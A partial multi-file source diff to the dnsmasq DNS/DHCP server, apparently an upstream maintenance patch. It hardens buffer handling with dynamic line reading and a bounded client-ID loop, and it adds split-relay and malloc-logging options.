This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -253,7 +253,7 @@ int create_helper(int event_fd, int err_fd, uid_t uid, gid_t gid, long max_fd)
}
/* supplied data may just exceed normal buffer (unlikely) */
if ((data.hostname_len + data.ed_len + data.clid_len) > MAXDNAME &&
if ((data.hostname_len + data.ed_len + data.clid_len) > MAXDNAMESTR &&
!(alloc_buff = buf = malloc(data.hostname_len + data.ed_len + data.clid_len)))
continue;
@@ -261,8 +261,8 @@ int create_helper(int event_fd, int err_fd, uid_t uid, gid_t gid, long max_fd)
data.hostname_len + data.ed_len + data.clid_len, RW_READ))
continue;
/* CLID into packet */
for (p = daemon->packet, i = 0; i < data.clid_len; i++)
/* CLID into packet: limit to 100 bytes to avoid overflowing buffer. */
for (p = daemon->packet, i = 0; i < data.clid_len && i < 100; i++)
{
p += sprintf(p, "%.2x", buf[i]);
if (i != data.clid_len - 1)
@@ -533,18 +533,12 @@ int create_helper(int event_fd, int err_fd, uid_t uid, gid_t gid, long max_fd)
close(pipeout[0]);
else
{
while (fgets(daemon->packet, daemon->packet_buff_sz, fp))
{
/* do not include new lines, log will append them */
size_t len = strlen(daemon->packet);
if (len > 0)
{
--len;
if (daemon->packet[len] == '\n')
daemon->packet[len] = 0;
}
send_event(event_fd, EVENT_SCRIPT_LOG, 0, daemon->packet);
}
char *line = NULL;
size_t linesz = 0;
while (get_line_alloc(fp, &line, &linesz))
send_event(event_fd, EVENT_SCRIPT_LOG, 0, line);
fclose(fp);
}
}
@@ -718,13 +712,7 @@ static unsigned char *grab_extradata(unsigned char *buf, unsigned char *end, ch
break;
if (next && (next != buf))
{
char *p;
/* No "=" in value */
if ((p = strchr((char *)buf, '=')))
*p = 0;
val = (char *)buf;
}
val = (char *)buf;
}
my_setenv(env, val, err);
@@ -740,9 +728,11 @@ static unsigned char *grab_extradata_lua(unsigned char *buf, unsigned char *end,
if (!buf || (buf == end))
return NULL;
for (next = buf; *next != 0; next++)
for (next = buf; ; next++)
if (next == end)
return NULL;
else if (*next == 0)
break;
if (next != buf)
{
+26 -11
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -40,7 +40,7 @@ static char *inotify_buffer;
points to, made absolute if relative.
If path doesn't exist or is not a symlink, return NULL.
Return value is malloc'ed */
static char *my_readlink(char *path)
static char *my_readlink(int errfd, char *path)
{
ssize_t rc, size = 64;
char *buf;
@@ -59,7 +59,10 @@ static char *my_readlink(char *path)
return NULL;
}
else
die(_("cannot access path %s: %s"), path, EC_MISC);
{
send_event(errfd, EVENT_LINK_ERR, errno, path);
_exit(0);
}
}
else if (rc < size-1)
{
@@ -85,15 +88,18 @@ static char *my_readlink(char *path)
}
}
void inotify_dnsmasq_init()
void inotify_dnsmasq_init(int errfd)
{
struct resolvc *res;
inotify_buffer = safe_malloc(INOTIFY_SZ);
daemon->inotifyfd = inotify_init1(IN_NONBLOCK | IN_CLOEXEC);
if (daemon->inotifyfd == -1)
die(_("failed to create inotify: %s"), NULL, EC_MISC);
{
send_event(errfd, EVENT_INOTFY_ERR, errno, NULL);
_exit(0);
}
if (daemon->port == 0 || option_bool(OPT_NO_RESOLV))
return;
@@ -105,10 +111,13 @@ void inotify_dnsmasq_init()
strcpy(path, res->name);
/* Follow symlinks until we reach a non-symlink, or a non-existent file. */
while ((new_path = my_readlink(path)))
while ((new_path = my_readlink(errfd, path)))
{
if (links-- == 0)
die(_("too many symlinks following %s"), res->name, EC_MISC);
{
send_event(errfd, EVENT_TMSL_ERR, 0, res->name);
_exit(0);
}
free(path);
path = new_path;
}
@@ -124,12 +133,18 @@ void inotify_dnsmasq_init()
*d = '/';
if (res->wd == -1 && errno == ENOENT)
die(_("directory %s for resolv-file is missing, cannot poll"), res->name, EC_MISC);
{
send_event(errfd, EVENT_RESOLV_ERR, 0, res->name);
_exit(0);
}
}
if (res->wd == -1)
die(_("failed to create inotify for %s: %s"), res->name, EC_MISC);
{
send_event(errfd, EVENT_IFILE_ERR, errno, res->name);
_exit(0);
}
}
}
+1 -1
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
+25 -15
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -35,7 +35,7 @@ static int read_leases(time_t now, FILE *leasestream)
Check various buffers are big enough for the code below */
#if (DHCP_BUFF_SZ < 255) || (MAXDNAME < 64) || (PACKETSZ+MAXDNAME+RRFIXEDSZ < 764)
#if (DHCP_BUFF_SZ < 255) || (MAXDNAMESTR < 64) || (PACKETSZ+MAXDNAME+RRFIXEDSZ < 764)
# error Buffer size breakage in leasefile parsing.
#endif
@@ -73,7 +73,9 @@ static int read_leases(time_t now, FILE *leasestream)
if (lease)
{
opt_len = parse_hex(daemon->packet, (unsigned char *)daemon->packet, 255, NULL, NULL);
if (opt_len < 0)
continue;
if (strcmp(daemon->dhcp_buff3, "vendorclass") == 0)
lease_set_vendorclass(lease, (unsigned char *)daemon->packet, opt_len);
else if (strcmp(daemon->dhcp_buff3, "agent-info") == 0)
@@ -99,6 +101,8 @@ static int read_leases(time_t now, FILE *leasestream)
hw_len = parse_hex(daemon->dhcp_buff2, (unsigned char *)daemon->dhcp_buff2, DHCP_CHADDR_MAX, NULL, &hw_type);
if (hw_len < 0)
hw_len = 0;
/* For backwards compatibility, no explicit MAC address type means ether. */
if (hw_type == 0 && hw_len != 0)
hw_type = ARPHRD_ETHER;
@@ -131,7 +135,11 @@ static int read_leases(time_t now, FILE *leasestream)
die (_("too many stored leases"), NULL, EC_MISC);
if (strcmp(daemon->packet, "*") != 0)
clid_len = parse_hex(daemon->packet, (unsigned char *)daemon->packet, 255, NULL, NULL);
{
clid_len = parse_hex(daemon->packet, (unsigned char *)daemon->packet, 255, NULL, NULL);
if (clid_len < 0)
clid_len = 0;
}
lease_set_hwaddr(lease, (unsigned char *)daemon->dhcp_buff2, (unsigned char *)daemon->packet,
hw_len, hw_type, clid_len, now, 0);
@@ -519,7 +527,7 @@ void lease_update_slaac(time_t now)
/* Find interfaces associated with leases at start-up. This gets updated as
we do DHCP transactions, but information about directly-connected subnets
is useful from scrips and necessary for determining SLAAC addresses from
is useful from scripts and necessary for determining SLAAC addresses from
start-time. */
void lease_find_interfaces(time_t now)
{
@@ -1019,6 +1027,13 @@ static void kill_name(struct dhcp_lease *lease)
lease->old_hostname = lease->hostname;
lease->hostname = lease->fqdn = NULL;
#ifdef HAVE_DHCP6
/* A lease which had a hostname when slaac_add_addrs() was called on it
may have slaac-address records. Since it no longer has a hostname,
they are no-longer valid, so update to remove them */
slaac_add_addrs(lease, 0, 0);
#endif
}
void lease_calc_fqdns(void)
@@ -1143,6 +1158,10 @@ void lease_set_hostname(struct dhcp_lease *lease, const char *name, int auth, ch
file_dirty = 1;
dns_dirty = 1;
lease->flags |= LEASE_CHANGED; /* run script on change */
#ifdef HAVE_DHCP6
slaac_add_addrs(lease, dnsmasq_time(), 0);
#endif
}
void lease_set_interface(struct dhcp_lease *lease, int interface, time_t now)
@@ -1242,15 +1261,6 @@ int do_script_run(time_t now)
}
else
{
#ifdef HAVE_DHCP6
struct slaac_address *slaac, *tmp;
for (slaac = lease->slaac_address; slaac; slaac = tmp)
{
tmp = slaac->next;
free(slaac);
}
#endif
kill_name(lease);
#ifdef HAVE_SCRIPT
queue_script(ACTION_DEL, lease, lease->old_hostname, now);
#endif
@@ -1259,7 +1269,7 @@ int do_script_run(time_t now)
#endif
old_leases = lease->next;
free(lease->hostname);
kill_name(lease); /* frees slaac_addr, hostname and fqdn */
free(lease->clid);
free(lease->extradata);
free(lease->agent_id);
+21 -18
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -97,27 +97,30 @@ int log_start(struct passwd *ent_pw, int errfd)
entries_alloced = 1;
}
/* If we're running as root and going to change uid later,
change the ownership here so that the file is always owned by
the dnsmasq user. Then logrotate can just copy the owner.
Failure of the chown call is OK, (for instance when started as non-root).
If we've created a file with group-id root, we also make
the file group-writable. This gives processes in the root group
write access to the file and avoids the problem that on some systems,
once the file is owned by the dnsmasq user, it can't be written
whilst dnsmasq is running as root during startup.
*/
if (log_to_file && !log_stderr && ent_pw && ent_pw->pw_uid != 0)
{
struct stat ls;
if (getgid() == 0 && fstat(log_fd, &ls) == 0 && ls.st_gid == 0 &&
(ls.st_mode & S_IWGRP) == 0)
(void)fchmod(log_fd, S_IRUSR|S_IWUSR|S_IRGRP|S_IWGRP);
if (fchown(log_fd, ent_pw->pw_uid, -1) != 0)
ret = errno;
/* Only mess with permissions for regular files, not (eg) /dev/null */
if (fstat(log_fd, &ls) == 0 && S_ISREG(ls.st_mode))
{
/* If we're running as root and going to change uid later,
change the ownership here so that the file is always owned by
the dnsmasq user. Then logrotate can just copy the owner. */
if (fchown(log_fd, ent_pw->pw_uid, -1) != 0)
ret = errno;
/* If we've created a file with group-id root, we also make
the file group-writable. This gives processes in the root group
write access to the file and avoids the problem that on some systems,
once the file is owned by the dnsmasq user, it can't be written
whilst dnsmasq is running as root during startup.
Failure of the chown call is OK, (for instance when started as non-root). */
if (getgid() == 0 && ls.st_gid == 0 && (ls.st_mode & S_IWGRP) == 0)
(void)fchmod(log_fd, ls.st_mode | S_IWGRP);
}
}
return ret;
}
+1 -1
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
+1 -1
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
+1 -1
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
+8 -1
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -165,6 +165,13 @@ int iface_enumerate(int family, void *parm, callback_t callback)
struct rtgenmsg g;
} req;
/* The netlink socket is not available in child processes. */
if (daemon->pipe_to_parent != -1)
{
my_syslog(LOG_ERR, _("BUG: called iface_enumerate() in child process"));
return 0;
}
memset(&req, 0, sizeof(req));
memset(&addr, 0, sizeof(addr));
+14 -19
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -1254,19 +1254,14 @@ void warn_bound_listeners(void)
int advice = 0;
for (iface = daemon->interfaces; iface; iface = iface->next)
if (!iface->dns_auth)
if (!iface->dns_auth && !iface->warned &&
iface->addr.sa.sa_family == AF_INET && !private_net(iface->addr.in.sin_addr, 1))
{
if (iface->addr.sa.sa_family == AF_INET)
{
if (!private_net(iface->addr.in.sin_addr, 1))
{
inet_ntop(AF_INET, &iface->addr.in.sin_addr, daemon->addrbuff, ADDRSTRLEN);
iface->warned = advice = 1;
my_syslog(LOG_WARNING,
_("LOUD WARNING: listening on %s may accept requests via interfaces other than %s"),
daemon->addrbuff, iface->name);
}
}
inet_ntop(AF_INET, &iface->addr.in.sin_addr, daemon->addrbuff, ADDRSTRLEN);
iface->warned = advice = 1;
my_syslog(LOG_WARNING,
_("LOUD WARNING: listening on %s may accept requests via interfaces other than %s"),
daemon->addrbuff, iface->name);
}
if (advice)
@@ -1462,7 +1457,7 @@ static struct serverfd *allocate_sfd(union mysockaddr *addr, char *intname, unsi
/* when using random ports, servers which would otherwise use
the INADDR_ANY/port0 socket have sfd set to NULL, this is
anything without an explictly set source port. */
anything without an explicitly set source port. */
if (!daemon->osport)
{
errno = 0;
@@ -1699,19 +1694,19 @@ void check_servers(int no_loop_check)
int reload_servers(char *fname)
{
FILE *f;
char *line;
char *line = NULL;
size_t linesz = 0;
int gotone = 0;
/* buff happens to be MAXDNAME long... */
if (!(f = fopen(fname, "r")))
{
my_syslog(LOG_ERR, _("failed to read %s: %s"), fname, strerror(errno));
return 0;
}
mark_servers(SERV_FROM_RESOLV);
while ((line = fgets(daemon->namebuff, MAXDNAME, f)))
while (get_line_alloc(f, &line, &linesz))
{
union mysockaddr addr, source_addr;
char *token = strtok(line, " \t\n\r");
+1 -1
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
+182 -118
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -23,6 +23,9 @@ static volatile int mem_recover = 0;
static jmp_buf mem_jmp;
static int one_file(char *file, int hard_opt);
static void *opt_malloc_real(const char *func, unsigned int line, size_t size);
#define opt_malloc(x) opt_malloc_real(__func__, __LINE__, (x))
/* Solaris headers don't have facility names. */
#ifdef HAVE_SOLARIS_NETWORK
static const struct {
@@ -196,6 +199,8 @@ struct myoption {
#define LOPT_NO_ENCODE 387
#define LOPT_DO_ENCODE 388
#define LOPT_LEASEQUERY 389
#define LOPT_SPLIT_RELAY 390
#define LOPT_LOG_MALLOC 391
#ifdef HAVE_GETOPT_LONG
static const struct option opts[] =
@@ -374,6 +379,7 @@ static const struct myoption opts[] =
{ "dnssec-timestamp", 1, 0, LOPT_DNSSEC_STAMP },
{ "dnssec-limits", 1, 0, LOPT_DNSSEC_LIMITS },
{ "dhcp-relay", 1, 0, LOPT_RELAY },
{ "dhcp-split-relay", 1, 0, LOPT_SPLIT_RELAY },
{ "ra-param", 1, 0, LOPT_RA_PARAM },
{ "quiet-dhcp", 0, 0, LOPT_QUIET_DHCP },
{ "quiet-dhcp6", 0, 0, LOPT_QUIET_DHCP6 },
@@ -396,6 +402,7 @@ static const struct myoption opts[] =
{ "no-ident", 0, 0, LOPT_NO_IDENT },
{ "max-tcp-connections", 1, 0, LOPT_MAX_PROCS },
{ "leasequery", 2, 0, LOPT_LEASEQUERY },
{ "log-malloc", 0, 0, LOPT_LOG_MALLOC },
{ NULL, 0, 0, 0 }
};
@@ -542,6 +549,7 @@ static struct {
{ LOPT_GEN_NAMES, ARG_DUP, "[=tag:<tag>]", gettext_noop("Generate hostnames based on MAC address for nameless clients."), NULL},
{ LOPT_PROXY, ARG_DUP, "[=<ipaddr>]...", gettext_noop("Use these DHCP relays as full proxies."), NULL },
{ LOPT_RELAY, ARG_DUP, "<local-addr>,<server>[,<iface>]", gettext_noop("Relay DHCP requests to a remote server"), NULL},
{ LOPT_SPLIT_RELAY, ARG_DUP, "<local-addr>,<server>,<iface>", gettext_noop("Relay DHCP requests to a remote server"), NULL},
{ LOPT_CNAME, ARG_DUP, "<alias>,<target>[,<ttl>]", gettext_noop("Specify alias name for LOCAL DNS name."), NULL },
{ LOPT_PXE_PROMT, ARG_DUP, "<prompt>,[<timeout>]", gettext_noop("Prompt to send to PXE clients."), NULL },
{ LOPT_PXE_SERV, ARG_DUP, "<service>", gettext_noop("Boot service for PXE menu."), NULL },
@@ -603,6 +611,7 @@ static struct {
{ LOPT_NO_IDENT, OPT_NO_IDENT, NULL, gettext_noop("Do not add CHAOS TXT records."), NULL },
{ LOPT_CACHE_RR, ARG_DUP, "<RR-type>", gettext_noop("Cache this DNS resource record type."), NULL },
{ LOPT_MAX_PROCS, ARG_ONE, "<integer>", gettext_noop("Maximum number of concurrent tcp connections."), NULL },
{ LOPT_LOG_MALLOC, OPT_LOG_MALLOC, NULL, gettext_noop("Log memory allocation for debugging."), NULL },
{ 0, 0, NULL, NULL, NULL }
};
@@ -649,13 +658,13 @@ static void unhide_metas(char *cp)
*cp = unhide_meta(*cp);
}
static void *opt_malloc(size_t size)
static void *opt_malloc_real(const char *func, unsigned int line, size_t size)
{
void *ret;
if (mem_recover)
{
ret = whine_malloc(size);
ret = whine_malloc_real(func, line, size);
if (!ret)
longjmp(mem_jmp, 1);
}
@@ -736,7 +745,7 @@ static int numeric_check(char *a)
{
char *p;
if (!a)
if (!a || *a == 0)
return 0;
unhide_metas(a);
@@ -762,11 +771,14 @@ static int strtoul_check(char *a, u32 *res)
if (!numeric_check(a))
return 0;
x = strtoul(a, NULL, 10);
if (errno || x > UINT32_MAX) {
errno = 0;
return 0;
}
if (errno || x > UINT32_MAX)
{
errno = 0;
return 0;
}
*res = (u32)x;
return 1;
}
@@ -1374,7 +1386,7 @@ static void dhcp_netid_list_free(struct dhcp_netid_list *netid)
netid = netid->next;
/* Note: don't use dhcp_netid_free() here, since that
frees a list linked on netid->next. Where a netid_list
is used that's because the the ->next pointers in the
is used that's because the ->next pointers in the
netids are being used to temporarily construct
a list of valid tags. */
free(tmplist->list->net);
@@ -1462,58 +1474,45 @@ static int parse_dhcp_opt(char *errstr, char *arg, int flags)
while (arg)
{
char *start = arg;
comma = split(arg);
for (cp = arg; *cp; cp++)
if (strstr(arg, "option:") == arg)
start = arg+7;
#ifdef HAVE_DHCP6
else if (strstr(arg, "option6:") == arg)
{
start = arg+8;
is6 = 1;
}
#endif
else if (strstr(arg, "option4:") == arg)
start = arg+8;
for (cp = start; *cp; cp++)
if (*cp < '0' || *cp > '9')
break;
if (!*cp)
{
new->opt = atoi(arg);
new->opt = atoi(start);
opt_len = 0;
option_ok = 1;
break;
}
if (strstr(arg, "option:") == arg)
/* option*:<opt>|<optname> must follow tag and vendor string. */
if (start != arg)
{
if ((new->opt = lookup_dhcp_opt(AF_INET, arg+7)) != -1)
if ((new->opt = lookup_dhcp_opt(is6 ? AF_INET6: AF_INET, start)) != -1)
{
opt_len = lookup_dhcp_len(AF_INET, new->opt);
opt_len = lookup_dhcp_len(is6 ? AF_INET6: AF_INET, new->opt);
/* option:<optname> must follow tag and vendor string. */
if (!(opt_len & OT_INTERNAL) || flags == DHOPT_MATCH)
option_ok = 1;
}
break;
}
#ifdef HAVE_DHCP6
else if (strstr(arg, "option6:") == arg)
{
for (cp = arg+8; *cp; cp++)
if (*cp < '0' || *cp > '9')
break;
if (!*cp)
{
new->opt = atoi(arg+8);
opt_len = 0;
option_ok = 1;
}
else
{
if ((new->opt = lookup_dhcp_opt(AF_INET6, arg+8)) != -1)
{
opt_len = lookup_dhcp_len(AF_INET6, new->opt);
if (!(opt_len & OT_INTERNAL) || flags == DHOPT_MATCH)
option_ok = 1;
}
}
/* option6:<opt>|<optname> must follow tag and vendor string. */
is6 = 1;
break;
}
#endif
else if (strstr(arg, "vendor:") == arg)
{
new->u.vendor_class = (unsigned char *)opt_string_alloc(arg+7);
@@ -1692,7 +1691,7 @@ static int parse_dhcp_opt(char *errstr, char *arg, int flags)
parse_hex(comma, new->val, digs, (flags & DHOPT_MATCH) ? &new->u.wildcard_mask : NULL, NULL);
new->flags |= DHOPT_HEX;
}
else if (is_dec)
else if (is_dec && !(opt_len & OT_DHCP6_VENDOR))
{
int i, val = atoi(comma);
/* assume numeric arg is 1 byte except for
@@ -1893,6 +1892,48 @@ static int parse_dhcp_opt(char *errstr, char *arg, int flags)
comma = split(arg);
}
new->val = newp;
new->len = p - newp;
}
else if (comma && (opt_len & OT_DHCP6_VENDOR))
{
/* First arg is Enterprise ID (4 bytes)
subsequent are length fields (2 bytes each) + string */
int enterprise, i, commas = 1;
unsigned char *p, *newp;
for (i = 0; comma[i]; i++)
if (comma[i] == ',')
commas++;
newp = opt_malloc(strlen(comma)+(2*commas)+4);
p = newp;
arg = comma;
comma = split(arg);
if (atoi_check(arg, &enterprise))
PUTLONG(enterprise, p);
else
goto_err(_("bad or missing enterprise ID in dhcp-option"));
arg = comma;
comma = split(arg);
if (!arg || !*arg)
goto_err(_("missing vendor class in dhcp-option"));
while (arg && *arg)
{
u16 len = strlen(arg);
unhide_metas(arg);
PUTSHORT(len, p);
memcpy(p, arg, len);
p += len;
arg = comma;
comma = split(arg);
}
new->val = newp;
new->len = p - newp;
}
@@ -1956,7 +1997,7 @@ static int parse_dhcp_opt(char *errstr, char *arg, int flags)
if (flags == DHOPT_PXE_OPT && (new->flags & DHOPT_VENDOR))
goto_err(_("No vendor-encap options allowed in dhcp-option-pxe"));
if (flags == DHOPT_MATCH)
{
if ((new->flags & (DHOPT_ENCAPSULATE | DHOPT_VENDOR)) ||
@@ -2791,7 +2832,7 @@ static int one_opt(int option, char *arg, char *errstr, char *gen_err, int comma
break;
}
case LOPT_CPE_ID: /* --add-dns-client */
case LOPT_CPE_ID: /* --add-cpe-id */
if (arg)
daemon->dns_client_id = opt_string_alloc(arg);
break;
@@ -3460,6 +3501,8 @@ static int one_opt(int option, char *arg, char *errstr, char *gen_err, int comma
}
else if (strcmp(arg, "auth") == 0)
set_option_bool(OPT_AUTH_LOG);
else if (strcmp(arg, "only_failed") == 0)
set_option_bool(OPT_LOG_ONLY_FAILED);
}
break;
@@ -4569,39 +4612,41 @@ static int one_opt(int option, char *arg, char *errstr, char *gen_err, int comma
only allowed for agent-options. */
arg = comma;
if ((comma = split(arg)))
if (option == 'U' && strstr(arg, "enterprise:") == arg)
{
if (option != 'U' || strstr(arg, "enterprise:") != arg)
comma = split(arg);
new->enterprise = atoi(arg+11);
arg = comma;
}
if (arg)
{
for (dig = 0, colon = 0, p = (unsigned char *)arg; *p; p++)
if (isxdigit(*p))
dig = 1;
else if (*p == ':')
colon = 1;
else
break;
unhide_metas(arg);
if (option == 'U' || option == 'j' || *p || !dig || !colon)
{
free(new->netid.net);
ret_err_free(gen_err, new);
new->len = strlen(arg);
new->data = opt_malloc(new->len);
memcpy(new->data, arg, new->len);
}
else
new->enterprise = atoi(arg+11);
{
new->len = parse_hex(comma, (unsigned char *)arg, strlen(arg), NULL, NULL);
new->data = opt_malloc(new->len);
memcpy(new->data, arg, new->len);
}
}
else
comma = arg;
for (dig = 0, colon = 0, p = (unsigned char *)comma; *p; p++)
if (isxdigit(*p))
dig = 1;
else if (*p == ':')
colon = 1;
else
break;
unhide_metas(comma);
if (option == 'U' || option == 'j' || *p || !dig || !colon)
else if (option != 'U' || new->enterprise == 0)
{
new->len = strlen(comma);
new->data = opt_malloc(new->len);
memcpy(new->data, comma, new->len);
}
else
{
new->len = parse_hex(comma, (unsigned char *)comma, strlen(comma), NULL, NULL);
new->data = opt_malloc(new->len);
memcpy(new->data, comma, new->len);
free(new->netid.net);
ret_err_free(gen_err, new);
}
switch (option)
@@ -4624,7 +4669,7 @@ static int one_opt(int option, char *arg, char *errstr, char *gen_err, int comma
}
new->next = daemon->dhcp_vendors;
daemon->dhcp_vendors = new;
break;
}
@@ -4716,11 +4761,21 @@ static int one_opt(int option, char *arg, char *errstr, char *gen_err, int comma
break;
case LOPT_RELAY: /* --dhcp-relay */
case LOPT_SPLIT_RELAY: /* --dhcp-splt-relay */
{
struct dhcp_relay *new = opt_malloc(sizeof(struct dhcp_relay));
char *two = split(arg);
char *three = split(two);
if (option == LOPT_SPLIT_RELAY)
{
new->split_mode = 1;
/* split mode must have two addresses and a non-wildcard interface name. */
if (!three || strchr(three, '*'))
two = NULL;
}
new->iface_index = 0;
if (two)
@@ -4743,12 +4798,15 @@ static int one_opt(int option, char *arg, char *errstr, char *gen_err, int comma
else
three = two;
}
else if (new->split_mode && inet_pton(AF_INET, three, &new->uplink))
/* Third arg in split mode can be an address. */
three = NULL;
new->next = daemon->relay4;
daemon->relay4 = new;
}
#ifdef HAVE_DHCP6
else if (inet_pton(AF_INET6, arg, &new->local))
else if (inet_pton(AF_INET6, arg, &new->local) && !new->split_mode)
{
char *hash = split_chr(two, '#');
@@ -4769,7 +4827,9 @@ static int one_opt(int option, char *arg, char *errstr, char *gen_err, int comma
daemon->relay6 = new;
}
#endif
else
two = NULL;
new->interface = opt_string_alloc(three);
}
@@ -4932,7 +4992,8 @@ err:
arg = NULL; /* provoke error below */
}
if (!domain || !arg || !(new->name = canonicalise_opt(domain)))
if (!domain || !arg || !new->intr ||
!(new->name = canonicalise_opt(domain)))
ret_err(option == LOPT_DYNHOST ?
_("bad dynamic host") : _("bad interface name"));
@@ -4985,7 +5046,7 @@ err:
new->target = target;
new->ttl = ttl;
for (arg += arglen+1; *arg && isspace((unsigned char)*arg); arg++);
for (arg += arglen+1; arg != last && (!*arg || isspace((unsigned char)*arg)); arg++);
}
break;
@@ -5442,9 +5503,20 @@ err:
static void read_file(char *file, FILE *f, int hard_opt, int from_script)
{
volatile int lineno = 0;
char *buff = daemon->namebuff;
char *buff;
size_t buffsz;
/* Memory allocation failure longjmps here if mem_recover == 1 */
if (hard_opt != 0)
{
setjmp(mem_jmp);
mem_recover = 1;
}
while (fgets(buff, MAXDNAME, f))
buff = NULL;
buffsz = 0;
while (get_line_alloc(f, &buff, &buffsz))
{
int white, i;
volatile int option;
@@ -5452,15 +5524,7 @@ static void read_file(char *file, FILE *f, int hard_opt, int from_script)
size_t len;
option = (hard_opt == LOPT_REV_SERV) ? 0 : hard_opt;
/* Memory allocation failure longjmps here if mem_recover == 1 */
if (option != 0 || hard_opt == LOPT_REV_SERV)
{
if (setjmp(mem_jmp))
continue;
mem_recover = 1;
}
arg = NULL;
lineno++;
errmess = NULL;
@@ -5711,7 +5775,7 @@ struct hostsfile *expand_filelist(struct hostsfile *list)
struct dirent **namelist;
/* find largest used index */
for (i = SRC_AH, ah = list; ah; ah = ah->next)
for (last = NULL, i = SRC_AH, ah = list; ah; ah = ah->next)
{
last = ah;
@@ -5919,23 +5983,17 @@ void reread_dhcp(void)
void read_opts(int argc, char **argv, char *compile_opts)
{
size_t argbuf_size = MAXDNAME;
char *argbuf = opt_malloc(argbuf_size);
/* Note that both /000 and '.' are allowed within labels. These get
represented in presentation format using NAME_ESCAPE as an escape
character. In theory, if all the characters in a name were /000 or
'.' or NAME_ESCAPE then all would have to be escaped, so the
presentation format would be twice as long as the spec. */
char *buff = opt_malloc((MAXDNAME * 2) + 1);
size_t argbuf_size = 300;
char *argbuf = safe_malloc(argbuf_size);
int option, testmode = 0;
char *arg, *conffile = NULL;
opterr = 0;
daemon = opt_malloc(sizeof(struct daemon));
memset(daemon, 0, sizeof(struct daemon));
daemon->namebuff = buff;
daemon->workspacename = safe_malloc((MAXDNAME * 2) + 1);
daemon->namebuff = safe_malloc(MAXDNAMESTR+1);
daemon->workspacename = safe_malloc(MAXDNAMESTR+1);
daemon->addrbuff = safe_malloc(ADDRSTRLEN);
/* Set defaults - everything else is zero or NULL */
@@ -6173,9 +6231,9 @@ void read_opts(int argc, char **argv, char *compile_opts)
/* create default, if not specified */
if (daemon->authserver && !daemon->hostmaster)
{
strcpy(buff, "hostmaster.");
strcat(buff, daemon->authserver);
daemon->hostmaster = opt_string_alloc(buff);
strcpy(daemon->namebuff, "hostmaster.");
strncat(daemon->namebuff, daemon->authserver, MAXDNAMESTR - strlen(daemon->namebuff));
daemon->hostmaster = opt_string_alloc(daemon->namebuff);
}
if (!daemon->dhcp_pxe_vendors)
@@ -6190,11 +6248,11 @@ void read_opts(int argc, char **argv, char *compile_opts)
{
struct mx_srv_record *mx;
if (gethostname(buff, MAXDNAME) == -1)
if (gethostname(daemon->namebuff, MAXDNAMESTR) == -1)
die(_("cannot get host-name: %s"), NULL, EC_MISC);
for (mx = daemon->mxnames; mx; mx = mx->next)
if (!mx->issrv && hostname_isequal(mx->name, buff))
if (!mx->issrv && hostname_isequal(mx->name, daemon->namebuff))
break;
if ((daemon->mxtarget || option_bool(OPT_LOCALMX)) && !mx)
@@ -6203,12 +6261,12 @@ void read_opts(int argc, char **argv, char *compile_opts)
mx->next = daemon->mxnames;
mx->issrv = 0;
mx->target = NULL;
mx->name = opt_string_alloc(buff);
mx->name = opt_string_alloc(daemon->namebuff);
daemon->mxnames = mx;
}
if (!daemon->mxtarget)
daemon->mxtarget = opt_string_alloc(buff);
daemon->mxtarget = opt_string_alloc(daemon->namebuff);
for (mx = daemon->mxnames; mx; mx = mx->next)
if (!mx->issrv && !mx->target)
@@ -6223,7 +6281,8 @@ void read_opts(int argc, char **argv, char *compile_opts)
if (option_bool(OPT_RESOLV_DOMAIN))
{
char *line;
char *line = NULL;
size_t linesz = 0;
FILE *f;
if (option_bool(OPT_NO_RESOLV) ||
@@ -6234,7 +6293,7 @@ void read_opts(int argc, char **argv, char *compile_opts)
if (!(f = fopen((daemon->resolv_files)->name, "r")))
die(_("failed to read %s: %s"), (daemon->resolv_files)->name, EC_FILE);
while ((line = fgets(buff, MAXDNAME, f)))
while (get_line_alloc(f, &line, &linesz))
{
char *token = strtok(line, " \t\n\r");
@@ -6243,7 +6302,11 @@ void read_opts(int argc, char **argv, char *compile_opts)
if ((token = strtok(NULL, " \t\n\r")) &&
